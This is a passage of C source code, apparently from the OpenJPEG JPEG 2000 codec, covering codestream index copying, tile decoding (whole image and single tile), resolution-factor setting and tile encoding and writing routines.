l_tccp->stepsizes[bandno].mant; l_tccp_info->stepsizes_expn[bandno] = (OPJ_UINT32) l_tccp->stepsizes[bandno].expn; } } /* RGN value*/ l_tccp_info->roishift = l_tccp->roishift; } return cstr_info; } opj_codestream_index_t* j2k_get_cstr_index(opj_j2k_t* p_j2k) { opj_codestream_index_t* l_cstr_index = (opj_codestream_index_t*) opj_calloc(1, sizeof(opj_codestream_index_t)); if (!l_cstr_index) { return NULL; } l_cstr_index->main_head_start = p_j2k->cstr_index->main_head_start; l_cstr_index->main_head_end = p_j2k->cstr_index->main_head_end; l_cstr_index->codestream_size = p_j2k->cstr_index->codestream_size; l_cstr_index->marknum = p_j2k->cstr_index->marknum; l_cstr_index->marker = (opj_marker_info_t*)opj_malloc(l_cstr_index->marknum * sizeof(opj_marker_info_t)); if (!l_cstr_index->marker) { opj_free(l_cstr_index); return NULL; } if (p_j2k->cstr_index->marker) { memcpy(l_cstr_index->marker, p_j2k->cstr_index->marker, l_cstr_index->marknum * sizeof(opj_marker_info_t)); } else { opj_free(l_cstr_index->marker); l_cstr_index->marker = NULL; } l_cstr_index->nb_of_tiles = p_j2k->cstr_index->nb_of_tiles; l_cstr_index->tile_index = (opj_tile_index_t*)opj_calloc( l_cstr_index->nb_of_tiles, sizeof(opj_tile_index_t)); if (!l_cstr_index->tile_index) { opj_free(l_cstr_index->marker); opj_free(l_cstr_index); return NULL; } if (!p_j2k->cstr_index->tile_index) { opj_free(l_cstr_index->tile_index); l_cstr_index->tile_index = NULL; } else { OPJ_UINT32 it_tile = 0; for (it_tile = 0; it_tile < l_cstr_index->nb_of_tiles; it_tile++) { /* Tile Marker*/ l_cstr_index->tile_index[it_tile].marknum = p_j2k->cstr_index->tile_index[it_tile].marknum; l_cstr_index->tile_index[it_tile].marker = (opj_marker_info_t*)opj_malloc(l_cstr_index->tile_index[it_tile].marknum * sizeof(opj_marker_info_t)); if (!l_cstr_index->tile_index[it_tile].marker) { OPJ_UINT32 it_tile_free; for (it_tile_free = 0; it_tile_free < it_tile; it_tile_free++) { opj_free(l_cstr_index->tile_index[it_tile_free].marker); } opj_free(l_cstr_index->tile_index); opj_free(l_cstr_index->marker); opj_free(l_cstr_index); return NULL; } if (p_j2k->cstr_index->tile_index[it_tile].marker) memcpy(l_cstr_index->tile_index[it_tile].marker, p_j2k->cstr_index->tile_index[it_tile].marker, l_cstr_index->tile_index[it_tile].marknum * sizeof(opj_marker_info_t)); else { opj_free(l_cstr_index->tile_index[it_tile].marker); l_cstr_index->tile_index[it_tile].marker = NULL; } /* Tile part index*/ l_cstr_index->tile_index[it_tile].nb_tps = p_j2k->cstr_index->tile_index[it_tile].nb_tps; l_cstr_index->tile_index[it_tile].tp_index = (opj_tp_index_t*)opj_malloc(l_cstr_index->tile_index[it_tile].nb_tps * sizeof( opj_tp_index_t)); if (!l_cstr_index->tile_index[it_tile].tp_index) { OPJ_UINT32 it_tile_free; for (it_tile_free = 0; it_tile_free < it_tile; it_tile_free++) { opj_free(l_cstr_index->tile_index[it_tile_free].marker); opj_free(l_cstr_index->tile_index[it_tile_free].tp_index); } opj_free(l_cstr_index->tile_index); opj_free(l_cstr_index->marker); opj_free(l_cstr_index); return NULL; } if (p_j2k->cstr_index->tile_index[it_tile].tp_index) { memcpy(l_cstr_index->tile_index[it_tile].tp_index, p_j2k->cstr_index->tile_index[it_tile].tp_index, l_cstr_index->tile_index[it_tile].nb_tps * sizeof(opj_tp_index_t)); } else { opj_free(l_cstr_index->tile_index[it_tile].tp_index); l_cstr_index->tile_index[it_tile].tp_index = NULL; } /* Packet index (NOT USED)*/ l_cstr_index->tile_index[it_tile].nb_packet = 0; l_cstr_index->tile_index[it_tile].packet_index = NULL; } } return l_cstr_index; } static OPJ_BOOL opj_j2k_allocate_tile_element_cstr_index(opj_j2k_t *p_j2k) { OPJ_UINT32 it_tile = 0; p_j2k->cstr_index->nb_of_tiles = p_j2k->m_cp.tw * p_j2k->m_cp.th; p_j2k->cstr_index->tile_index = (opj_tile_index_t*)opj_calloc( p_j2k->cstr_index->nb_of_tiles, sizeof(opj_tile_index_t)); if (!p_j2k->cstr_index->tile_index) { return OPJ_FALSE; } for (it_tile = 0; it_tile < p_j2k->cstr_index->nb_of_tiles; it_tile++) { p_j2k->cstr_index->tile_index[it_tile].maxmarknum = 100; p_j2k->cstr_index->tile_index[it_tile].marknum = 0; p_j2k->cstr_index->tile_index[it_tile].marker = (opj_marker_info_t*) opj_calloc(p_j2k->cstr_index->tile_index[it_tile].maxmarknum, sizeof(opj_marker_info_t)); if (!p_j2k->cstr_index->tile_index[it_tile].marker) { return OPJ_FALSE; } } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_decode_tiles(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { OPJ_BOOL l_go_on = OPJ_TRUE; OPJ_UINT32 l_current_tile_no; OPJ_UINT32 l_data_size, l_max_data_size; OPJ_INT32 l_tile_x0, l_tile_y0, l_tile_x1, l_tile_y1; OPJ_UINT32 l_nb_comps; OPJ_BYTE * l_current_data; OPJ_UINT32 nr_tiles = 0; /* Particular case for whole single tile decoding */ /* We can avoid allocating intermediate tile buffers */ if (p_j2k->m_cp.tw == 1 && p_j2k->m_cp.th == 1 && p_j2k->m_cp.tx0 == 0 && p_j2k->m_cp.ty0 == 0 && p_j2k->m_output_image->x0 == 0 && p_j2k->m_output_image->y0 == 0 && p_j2k->m_output_image->x1 == p_j2k->m_cp.tdx && p_j2k->m_output_image->y1 == p_j2k->m_cp.tdy && p_j2k->m_output_image->comps[0].factor == 0) { OPJ_UINT32 i; if (! opj_j2k_read_tile_header(p_j2k, &l_current_tile_no, &l_data_size, &l_tile_x0, &l_tile_y0, &l_tile_x1, &l_tile_y1, &l_nb_comps, &l_go_on, p_stream, p_manager)) { return OPJ_FALSE; } if (! opj_j2k_decode_tile(p_j2k, l_current_tile_no, NULL, 0, p_stream, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Failed to decode tile 1/1\n"); return OPJ_FALSE; } /* Transfer TCD data to output image data */ for (i = 0; i < p_j2k->m_output_image->numcomps; i++) { opj_image_data_free(p_j2k->m_output_image->comps[i].data); p_j2k->m_output_image->comps[i].data = p_j2k->m_tcd->tcd_image->tiles->comps[i].data; p_j2k->m_output_image->comps[i].resno_decoded = p_j2k->m_tcd->image->comps[i].resno_decoded; p_j2k->m_tcd->tcd_image->tiles->comps[i].data = NULL; } return OPJ_TRUE; } l_current_data = (OPJ_BYTE*)opj_malloc(1000); if (! l_current_data) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to decode tiles\n"); return OPJ_FALSE; } l_max_data_size = 1000; for (;;) { if (! opj_j2k_read_tile_header(p_j2k, &l_current_tile_no, &l_data_size, &l_tile_x0, &l_tile_y0, &l_tile_x1, &l_tile_y1, &l_nb_comps, &l_go_on, p_stream, p_manager)) { opj_free(l_current_data); return OPJ_FALSE; } if (! l_go_on) { break; } if (l_data_size > l_max_data_size) { OPJ_BYTE *l_new_current_data = (OPJ_BYTE *) opj_realloc(l_current_data, l_data_size); if (! l_new_current_data) { opj_free(l_current_data); opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to decode tile %d/%d\n", l_current_tile_no + 1, p_j2k->m_cp.th * p_j2k->m_cp.tw); return OPJ_FALSE; } l_current_data = l_new_current_data; l_max_data_size = l_data_size; } if (! opj_j2k_decode_tile(p_j2k, l_current_tile_no, l_current_data, l_data_size, p_stream, p_manager)) { opj_free(l_current_data); opj_event_msg(p_manager, EVT_ERROR, "Failed to decode tile %d/%d\n", l_current_tile_no + 1, p_j2k->m_cp.th * p_j2k->m_cp.tw); return OPJ_FALSE; } opj_event_msg(p_manager, EVT_INFO, "Tile %d/%d has been decoded.\n", l_current_tile_no + 1, p_j2k->m_cp.th * p_j2k->m_cp.tw); if (! opj_j2k_update_image_data(p_j2k->m_tcd, l_current_data, p_j2k->m_output_image)) { opj_free(l_current_data); return OPJ_FALSE; } opj_event_msg(p_manager, EVT_INFO, "Image data has been updated with tile %d.\n\n", l_current_tile_no + 1); if (opj_stream_get_number_byte_left(p_stream) == 0 && p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_NEOC) { break; } if (++nr_tiles == p_j2k->m_cp.th * p_j2k->m_cp.tw) { break; } } opj_free(l_current_data); return OPJ_TRUE; } /** * Sets up the procedures to do on decoding data. Developpers wanting to extend the library can add their own reading procedures. */ static OPJ_BOOL opj_j2k_setup_decoding(opj_j2k_t *p_j2k, opj_event_mgr_t * p_manager) { /* preconditions*/ assert(p_j2k != 00); assert(p_manager != 00); if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_decode_tiles, p_manager)) { return OPJ_FALSE; } /* DEVELOPER CORNER, add your custom procedures */ return OPJ_TRUE; } /* * Read and decode one tile. */ static OPJ_BOOL opj_j2k_decode_one_tile(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { OPJ_BOOL l_go_on = OPJ_TRUE; OPJ_UINT32 l_current_tile_no; OPJ_UINT32 l_tile_no_to_dec; OPJ_UINT32 l_data_size, l_max_data_size; OPJ_INT32 l_tile_x0, l_tile_y0, l_tile_x1, l_tile_y1; OPJ_UINT32 l_nb_comps; OPJ_BYTE * l_current_data; OPJ_UINT32 l_nb_tiles; OPJ_UINT32 i; l_current_data = (OPJ_BYTE*)opj_malloc(1000); if (! l_current_data) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to decode one tile\n"); return OPJ_FALSE; } l_max_data_size = 1000; /*Allocate and initialize some elements of codestrem index if not already done*/ if (!p_j2k->cstr_index->tile_index) { if (!opj_j2k_allocate_tile_element_cstr_index(p_j2k)) { opj_free(l_current_data); return OPJ_FALSE; } } /* Move into the codestream to the first SOT used to decode the desired tile */ l_tile_no_to_dec = (OPJ_UINT32) p_j2k->m_specific_param.m_decoder.m_tile_ind_to_dec; if (p_j2k->cstr_index->tile_index) if (p_j2k->cstr_index->tile_index->tp_index) { if (! p_j2k->cstr_index->tile_index[l_tile_no_to_dec].nb_tps) { /* the index for this tile has not been built, * so move to the last SOT read */ if (!(opj_stream_read_seek(p_stream, p_j2k->m_specific_param.m_decoder.m_last_sot_read_pos + 2, p_manager))) { opj_event_msg(p_manager, EVT_ERROR, "Problem with seek function\n"); opj_free(l_current_data); return OPJ_FALSE; } } else { if (!(opj_stream_read_seek(p_stream, p_j2k->cstr_index->tile_index[l_tile_no_to_dec].tp_index[0].start_pos + 2, p_manager))) { opj_event_msg(p_manager, EVT_ERROR, "Problem with seek function\n"); opj_free(l_current_data); return OPJ_FALSE; } } /* Special case if we have previously read the EOC marker (if the previous tile getted is the last ) */ if (p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_EOC) { p_j2k->m_specific_param.m_decoder.m_state = J2K_STATE_TPHSOT; } } /* Reset current tile part number for all tiles, and not only the one */ /* of interest. */ /* Not completely sure this is always correct but required for */ /* ./build/bin/j2k_random_tile_access ./build/tests/tte1.j2k */ l_nb_tiles = p_j2k->m_cp.tw * p_j2k->m_cp.th; for (i = 0; i < l_nb_tiles; ++i) { p_j2k->m_cp.tcps[i].m_current_tile_part_number = -1; } for (;;) { if (! opj_j2k_read_tile_header(p_j2k, &l_current_tile_no, &l_data_size, &l_tile_x0, &l_tile_y0, &l_tile_x1, &l_tile_y1, &l_nb_comps, &l_go_on, p_stream, p_manager)) { opj_free(l_current_data); return OPJ_FALSE; } if (! l_go_on) { break; } if (l_data_size > l_max_data_size) { OPJ_BYTE *l_new_current_data = (OPJ_BYTE *) opj_realloc(l_current_data, l_data_size); if (! l_new_current_data) { opj_free(l_current_data); l_current_data = NULL; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to decode tile %d/%d\n", l_current_tile_no + 1, p_j2k->m_cp.th * p_j2k->m_cp.tw); return OPJ_FALSE; } l_current_data = l_new_current_data; l_max_data_size = l_data_size; } if (! opj_j2k_decode_tile(p_j2k, l_current_tile_no, l_current_data, l_data_size, p_stream, p_manager)) { opj_free(l_current_data); return OPJ_FALSE; } opj_event_msg(p_manager, EVT_INFO, "Tile %d/%d has been decoded.\n", l_current_tile_no + 1, p_j2k->m_cp.th * p_j2k->m_cp.tw); if (! opj_j2k_update_image_data(p_j2k->m_tcd, l_current_data, p_j2k->m_output_image)) { opj_free(l_current_data); return OPJ_FALSE; } opj_event_msg(p_manager, EVT_INFO, "Image data has been updated with tile %d.\n\n", l_current_tile_no + 1); if (l_current_tile_no == l_tile_no_to_dec) { /* move into the codestream to the first SOT (FIXME or not move?)*/ if (!(opj_stream_read_seek(p_stream, p_j2k->cstr_index->main_head_end + 2, p_manager))) { opj_event_msg(p_manager, EVT_ERROR, "Problem with seek function\n"); opj_free(l_current_data); return OPJ_FALSE; } break; } else { opj_event_msg(p_manager, EVT_WARNING, "Tile read, decoded and updated is not the desired one (%d vs %d).\n", l_current_tile_no + 1, l_tile_no_to_dec + 1); } } opj_free(l_current_data); return OPJ_TRUE; } /** * Sets up the procedures to do on decoding one tile. Developpers wanting to extend the library can add their own reading procedures. */ static OPJ_BOOL opj_j2k_setup_decoding_tile(opj_j2k_t *p_j2k, opj_event_mgr_t * p_manager) { /* preconditions*/ assert(p_j2k != 00); assert(p_manager != 00); if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_decode_one_tile, p_manager)) { return OPJ_FALSE; } /* DEVELOPER CORNER, add your custom procedures */ return OPJ_TRUE; } OPJ_BOOL opj_j2k_decode(opj_j2k_t * p_j2k, opj_stream_private_t * p_stream, opj_image_t * p_image, opj_event_mgr_t * p_manager) { OPJ_UINT32 compno; if (!p_image) { return OPJ_FALSE; } p_j2k->m_output_image = opj_image_create0(); if (!(p_j2k->m_output_image)) { return OPJ_FALSE; } opj_copy_image_header(p_image, p_j2k->m_output_image); /* customization of the decoding */ if (!opj_j2k_setup_decoding(p_j2k, p_manager)) { return OPJ_FALSE; } /* Decode the codestream */ if (! opj_j2k_exec(p_j2k, p_j2k->m_procedure_list, p_stream, p_manager)) { opj_image_destroy(p_j2k->m_private_image); p_j2k->m_private_image = NULL; return OPJ_FALSE; } /* Move data and copy one information from codec to output image*/ for (compno = 0; compno < p_image->numcomps; compno++) { p_image->comps[compno].resno_decoded = p_j2k->m_output_image->comps[compno].resno_decoded; p_image->comps[compno].data = p_j2k->m_output_image->comps[compno].data; #if 0 char fn[256]; sprintf(fn, "/tmp/%d.raw", compno); FILE *debug = fopen(fn, "wb"); fwrite(p_image->comps[compno].data, sizeof(OPJ_INT32), p_image->comps[compno].w * p_image->comps[compno].h, debug); fclose(debug); #endif p_j2k->m_output_image->comps[compno].data = NULL; } return OPJ_TRUE; } OPJ_BOOL opj_j2k_get_tile(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_image_t* p_image, opj_event_mgr_t * p_manager, OPJ_UINT32 tile_index) { OPJ_UINT32 compno; OPJ_UINT32 l_tile_x, l_tile_y; opj_image_comp_t* l_img_comp; if (!p_image) { opj_event_msg(p_manager, EVT_ERROR, "We need an image previously created.\n"); return OPJ_FALSE; } if (/*(tile_index < 0) &&*/ (tile_index >= p_j2k->m_cp.tw * p_j2k->m_cp.th)) { opj_event_msg(p_manager, EVT_ERROR, "Tile index provided by the user is incorrect %d (max = %d) \n", tile_index, (p_j2k->m_cp.tw * p_j2k->m_cp.th) - 1); return OPJ_FALSE; } /* Compute the dimension of the desired tile*/ l_tile_x = tile_index % p_j2k->m_cp.tw; l_tile_y = tile_index / p_j2k->m_cp.tw; p_image->x0 = l_tile_x * p_j2k->m_cp.tdx + p_j2k->m_cp.tx0; if (p_image->x0 < p_j2k->m_private_image->x0) { p_image->x0 = p_j2k->m_private_image->x0; } p_image->x1 = (l_tile_x + 1) * p_j2k->m_cp.tdx + p_j2k->m_cp.tx0; if (p_image->x1 > p_j2k->m_private_image->x1) { p_image->x1 = p_j2k->m_private_image->x1; } p_image->y0 = l_tile_y * p_j2k->m_cp.tdy + p_j2k->m_cp.ty0; if (p_image->y0 < p_j2k->m_private_image->y0) { p_image->y0 = p_j2k->m_private_image->y0; } p_image->y1 = (l_tile_y + 1) * p_j2k->m_cp.tdy + p_j2k->m_cp.ty0; if (p_image->y1 > p_j2k->m_private_image->y1) { p_image->y1 = p_j2k->m_private_image->y1; } l_img_comp = p_image->comps; for (compno = 0; compno < p_image->numcomps; ++compno) { OPJ_INT32 l_comp_x1, l_comp_y1; l_img_comp->factor = p_j2k->m_private_image->comps[compno].factor; l_img_comp->x0 = (OPJ_UINT32)opj_int_ceildiv((OPJ_INT32)p_image->x0, (OPJ_INT32)l_img_comp->dx); l_img_comp->y0 = (OPJ_UINT32)opj_int_ceildiv((OPJ_INT32)p_image->y0, (OPJ_INT32)l_img_comp->dy); l_comp_x1 = opj_int_ceildiv((OPJ_INT32)p_image->x1, (OPJ_INT32)l_img_comp->dx); l_comp_y1 = opj_int_ceildiv((OPJ_INT32)p_image->y1, (OPJ_INT32)l_img_comp->dy); l_img_comp->w = (OPJ_UINT32)(opj_int_ceildivpow2(l_comp_x1, (OPJ_INT32)l_img_comp->factor) - opj_int_ceildivpow2((OPJ_INT32)l_img_comp->x0, (OPJ_INT32)l_img_comp->factor)); l_img_comp->h = (OPJ_UINT32)(opj_int_ceildivpow2(l_comp_y1, (OPJ_INT32)l_img_comp->factor) - opj_int_ceildivpow2((OPJ_INT32)l_img_comp->y0, (OPJ_INT32)l_img_comp->factor)); l_img_comp++; } /* Destroy the previous output image*/ if (p_j2k->m_output_image) { opj_image_destroy(p_j2k->m_output_image); } /* Create the ouput image from the information previously computed*/ p_j2k->m_output_image = opj_image_create0(); if (!(p_j2k->m_output_image)) { return OPJ_FALSE; } opj_copy_image_header(p_image, p_j2k->m_output_image); p_j2k->m_specific_param.m_decoder.m_tile_ind_to_dec = (OPJ_INT32)tile_index; /* customization of the decoding */ if (!opj_j2k_setup_decoding_tile(p_j2k, p_manager)) { return OPJ_FALSE; } /* Decode the codestream */ if (! opj_j2k_exec(p_j2k, p_j2k->m_procedure_list, p_stream, p_manager)) { opj_image_destroy(p_j2k->m_private_image); p_j2k->m_private_image = NULL; return OPJ_FALSE; } /* Move data and copy one information from codec to output image*/ for (compno = 0; compno < p_image->numcomps; compno++) { p_image->comps[compno].resno_decoded = p_j2k->m_output_image->comps[compno].resno_decoded; if (p_image->comps[compno].data) { opj_image_data_free(p_image->comps[compno].data); } p_image->comps[compno].data = p_j2k->m_output_image->comps[compno].data; p_j2k->m_output_image->comps[compno].data = NULL; } return OPJ_TRUE; } OPJ_BOOL opj_j2k_set_decoded_resolution_factor(opj_j2k_t *p_j2k, OPJ_UINT32 res_factor, opj_event_mgr_t * p_manager) { OPJ_UINT32 it_comp; p_j2k->m_cp.m_specific_param.m_dec.m_reduce = res_factor; if (p_j2k->m_private_image) { if (p_j2k->m_private_image->comps) { if (p_j2k->m_specific_param.m_decoder.m_default_tcp) { if (p_j2k->m_specific_param.m_decoder.m_default_tcp->tccps) { for (it_comp = 0 ; it_comp < p_j2k->m_private_image->numcomps; it_comp++) { OPJ_UINT32 max_res = p_j2k->m_specific_param.m_decoder.m_default_tcp->tccps[it_comp].numresolutions; if (res_factor >= max_res) { opj_event_msg(p_manager, EVT_ERROR, "Resolution factor is greater than the maximum resolution in the component.\n"); return OPJ_FALSE; } p_j2k->m_private_image->comps[it_comp].factor = res_factor; } return OPJ_TRUE; } } } } return OPJ_FALSE; } OPJ_BOOL opj_j2k_encode(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { OPJ_UINT32 i, j; OPJ_UINT32 l_nb_tiles; OPJ_UINT32 l_max_tile_size = 0, l_current_tile_size; OPJ_BYTE * l_current_data = 00; OPJ_BOOL l_reuse_data = OPJ_FALSE; opj_tcd_t* p_tcd = 00; /* preconditions */ assert(p_j2k != 00); assert(p_stream != 00); assert(p_manager != 00); p_tcd = p_j2k->m_tcd; l_nb_tiles = p_j2k->m_cp.th * p_j2k->m_cp.tw; if (l_nb_tiles == 1) { l_reuse_data = OPJ_TRUE; #ifdef __SSE__ for (j = 0; j < p_j2k->m_tcd->image->numcomps; ++j) { opj_image_comp_t * l_img_comp = p_tcd->image->comps + j; if (((size_t)l_img_comp->data & 0xFU) != 0U) { /* tile data shall be aligned on 16 bytes */ l_reuse_data = OPJ_FALSE; } } #endif } for (i = 0; i < l_nb_tiles; ++i) { if (! opj_j2k_pre_write_tile(p_j2k, i, p_stream, p_manager)) { if (l_current_data) { opj_free(l_current_data); } return OPJ_FALSE; } /* if we only have one tile, then simply set tile component data equal to image component data */ /* otherwise, allocate the data */ for (j = 0; j < p_j2k->m_tcd->image->numcomps; ++j) { opj_tcd_tilecomp_t* l_tilec = p_tcd->tcd_image->tiles->comps + j; if (l_reuse_data) { opj_image_comp_t * l_img_comp = p_tcd->image->comps + j; l_tilec->data = l_img_comp->data; l_tilec->ownsData = OPJ_FALSE; } else { if (! opj_alloc_tile_component_data(l_tilec)) { opj_event_msg(p_manager, EVT_ERROR, "Error allocating tile component data."); if (l_current_data) { opj_free(l_current_data); } return OPJ_FALSE; } } } l_current_tile_size = opj_tcd_get_encoded_tile_size(p_j2k->m_tcd); if (!l_reuse_data) { if (l_current_tile_size > l_max_tile_size) { OPJ_BYTE *l_new_current_data = (OPJ_BYTE *) opj_realloc(l_current_data, l_current_tile_size); if (! l_new_current_data) { if (l_current_data) { opj_free(l_current_data); } opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to encode all tiles\n"); return OPJ_FALSE; } l_current_data = l_new_current_data; l_max_tile_size = l_current_tile_size; } /* copy image data (32 bit) to l_current_data as contiguous, all-component, zero offset buffer */ /* 32 bit components @ 8 bit precision get converted to 8 bit */ /* 32 bit components @ 16 bit precision get converted to 16 bit */ opj_j2k_get_tile_data(p_j2k->m_tcd, l_current_data); /* now copy this data into the tile component */ if (! opj_tcd_copy_tile_data(p_j2k->m_tcd, l_current_data, l_current_tile_size)) { opj_event_msg(p_manager, EVT_ERROR, "Size mismatch between tile data and sent data."); opj_free(l_current_data); return OPJ_FALSE; } } if (! opj_j2k_post_write_tile(p_j2k, p_stream, p_manager)) { if (l_current_data) { opj_free(l_current_data); } return OPJ_FALSE; } } if (l_current_data) { opj_free(l_current_data); } return OPJ_TRUE; } OPJ_BOOL opj_j2k_end_compress(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { /* customization of the encoding */ if (! opj_j2k_setup_end_compress(p_j2k, p_manager)) { return OPJ_FALSE; } if (! opj_j2k_exec(p_j2k, p_j2k->m_procedure_list, p_stream, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } OPJ_BOOL opj_j2k_start_compress(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_image_t * p_image, opj_event_mgr_t * p_manager) { /* preconditions */ assert(p_j2k != 00); assert(p_stream != 00); assert(p_manager != 00); p_j2k->m_private_image = opj_image_create0(); if (! p_j2k->m_private_image) { opj_event_msg(p_manager, EVT_ERROR, "Failed to allocate image header."); return OPJ_FALSE; } opj_copy_image_header(p_image, p_j2k->m_private_image); /* TODO_MSD: Find a better way */ if (p_image->comps) { OPJ_UINT32 it_comp; for (it_comp = 0 ; it_comp < p_image->numcomps; it_comp++) { if (p_image->comps[it_comp].data) { p_j2k->m_private_image->comps[it_comp].data = p_image->comps[it_comp].data; p_image->comps[it_comp].data = NULL; } } } /* customization of the validation */ if (! opj_j2k_setup_encoding_validation(p_j2k, p_manager)) { return OPJ_FALSE; } /* validation of the parameters codec */ if (! opj_j2k_exec(p_j2k, p_j2k->m_validation_list, p_stream, p_manager)) { return OPJ_FALSE; } /* customization of the encoding */ if (! opj_j2k_setup_header_writing(p_j2k, p_manager)) { return OPJ_FALSE; } /* write header */ if (! opj_j2k_exec(p_j2k, p_j2k->m_procedure_list, p_stream, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_pre_write_tile(opj_j2k_t * p_j2k, OPJ_UINT32 p_tile_index, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { (void)p_stream; if (p_tile_index != p_j2k->m_current_tile_number) { opj_event_msg(p_manager, EVT_ERROR, "The given tile index does not match."); return OPJ_FALSE; } opj_event_msg(p_manager, EVT_INFO, "tile number %d / %d\n", p_j2k->m_current_tile_number + 1, p_j2k->m_cp.tw * p_j2k->m_cp.th); p_j2k->m_specific_param.m_encoder.m_current_tile_part_number = 0; p_j2k->m_tcd->cur_totnum_tp = p_j2k->m_cp.tcps[p_tile_index].m_nb_tile_parts; p_j2k->m_specific_param.m_encoder.m_current_poc_tile_part_number = 0; /* initialisation before tile encoding */ if (! opj_tcd_init_encode_tile(p_j2k->m_tcd, p_j2k->m_current_tile_number, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } static void opj_get_tile_dimensions(opj_image_t * l_image, opj_tcd_tilecomp_t * l_tilec, opj_image_comp_t * l_img_comp, OPJ_UINT32* l_size_comp, OPJ_UINT32* l_width, OPJ_UINT32* l_height, OPJ_UINT32* l_offset_x, OPJ_UINT32* l_offset_y, OPJ_UINT32* l_image_width, OPJ_UINT32* l_stride, OPJ_UINT32* l_tile_offset) { OPJ_UINT32 l_remaining; *l_size_comp = l_img_comp->prec >> 3; /* (/8) */ l_remaining = l_img_comp->prec & 7; /* (%8) */ if (l_remaining) { *l_size_comp += 1; } if (*l_size_comp == 3) { *l_size_comp = 4; } *l_width = (OPJ_UINT32)(l_tilec->x1 - l_tilec->x0); *l_height = (OPJ_UINT32)(l_tilec->y1 - l_tilec->y0); *l_offset_x = (OPJ_UINT32)opj_int_ceildiv((OPJ_INT32)l_image->x0, (OPJ_INT32)l_img_comp->dx); *l_offset_y = (OPJ_UINT32)opj_int_ceildiv((OPJ_INT32)l_image->y0, (OPJ_INT32)l_img_comp->dy); *l_image_width = (OPJ_UINT32)opj_int_ceildiv((OPJ_INT32)l_image->x1 - (OPJ_INT32)l_image->x0, (OPJ_INT32)l_img_comp->dx); *l_stride = *l_image_width - *l_width; *l_tile_offset = ((OPJ_UINT32)l_tilec->x0 - *l_offset_x) + (( OPJ_UINT32)l_tilec->y0 - *l_offset_y) * *l_image_width; } static void opj_j2k_get_tile_data(opj_tcd_t * p_tcd, OPJ_BYTE * p_data) { OPJ_UINT32 i, j, k = 0; for (i = 0; i < p_tcd->image->numcomps; ++i) { opj_image_t * l_image = p_tcd->image; OPJ_INT32 * l_src_ptr; opj_tcd_tilecomp_t * l_tilec = p_tcd->tcd_image->tiles->comps + i; opj_image_comp_t * l_img_comp = l_image->comps + i; OPJ_UINT32 l_size_comp, l_width, l_height, l_offset_x, l_offset_y, l_image_width, l_stride, l_tile_offset; opj_get_tile_dimensions(l_image, l_tilec, l_img_comp, &l_size_comp, &l_width, &l_height, &l_offset_x, &l_offset_y, &l_image_width, &l_stride, &l_tile_offset); l_src_ptr = l_img_comp->data + l_tile_offset; switch (l_size_comp) { case 1: { OPJ_CHAR * l_dest_ptr = (OPJ_CHAR*) p_data; if (l_img_comp->sgnd) { for (j = 0; j < l_height; ++j) { for (k = 0; k < l_width; ++k) { *(l_dest_ptr) = (OPJ_CHAR)(*l_src_ptr); ++l_dest_ptr; ++l_src_ptr; } l_src_ptr += l_stride; } } else { for (j = 0; j < l_height; ++j) { for (k = 0; k < l_width; ++k) { *(l_dest_ptr) = (OPJ_CHAR)((*l_src_ptr) & 0xff); ++l_dest_ptr; ++l_src_ptr; } l_src_ptr += l_stride; } } p_data = (OPJ_BYTE*) l_dest_ptr; } break; case 2: { OPJ_INT16 * l_dest_ptr = (OPJ_INT16 *) p_data; if (l_img_comp->sgnd) { for (j = 0; j < l_height; ++j) { for (k = 0; k < l_width; ++k) { *(l_dest_ptr++) = (OPJ_INT16)(*(l_src_ptr++)); } l_src_ptr += l_stride; } } else { for (j = 0; j < l_height; ++j) { for (k = 0; k < l_width; ++k) { *(l_dest_ptr++) = (OPJ_INT16)((*(l_src_ptr++)) & 0xffff); } l_src_ptr += l_stride; } } p_data = (OPJ_BYTE*) l_dest_ptr; } break; case 4: { OPJ_INT32 * l_dest_ptr = (OPJ_INT32 *) p_data; for (j = 0; j < l_height; ++j) { for (k = 0; k < l_width; ++k) { *(l_dest_ptr++) = *(l_src_ptr++); } l_src_ptr += l_stride; } p_data = (OPJ_BYTE*) l_dest_ptr; } break; } } } static OPJ_BOOL opj_j2k_post_write_tile(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { OPJ_UINT32 l_nb_bytes_written; OPJ_BYTE * l_current_data = 00; OPJ_UINT32 l_tile_size = 0; OPJ_UINT32 l_available_data; /* preconditions */ assert(p_j2k->m_specific_param.m_encoder.m_encoded_tile_data); l_tile_size = p_j2k->m_specific_param.m_encoder.m_encoded_tile_size; l_available_data = l_tile_size; l_current_data = p_j2k->m_specific_param.m_encoder.m_encoded_tile_data; l_nb_bytes_written = 0; if (! opj_j2k_write_first_tile_part(p_j2k, l_current_data, &l_nb_bytes_written, l_available_data, p_stream, p_manager)) { return OPJ_FALSE; } l_current_data += l_nb_bytes_written; l_available_data -= l_nb_bytes_written; l_nb_bytes_written = 0; if (! opj_j2k_write_all_tile_parts(p_j2k, l_current_data, &l_nb_bytes_written, l_available_data, p_stream, p_manager)) { return OPJ_FALSE; } l_available_data -= l_nb_bytes_written; l_nb_bytes_written = l_tile_size - l_available_data; if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_encoded_tile_data, l_nb_bytes_written, p_manager) != l_nb_bytes_written) { return OPJ_FALSE; } 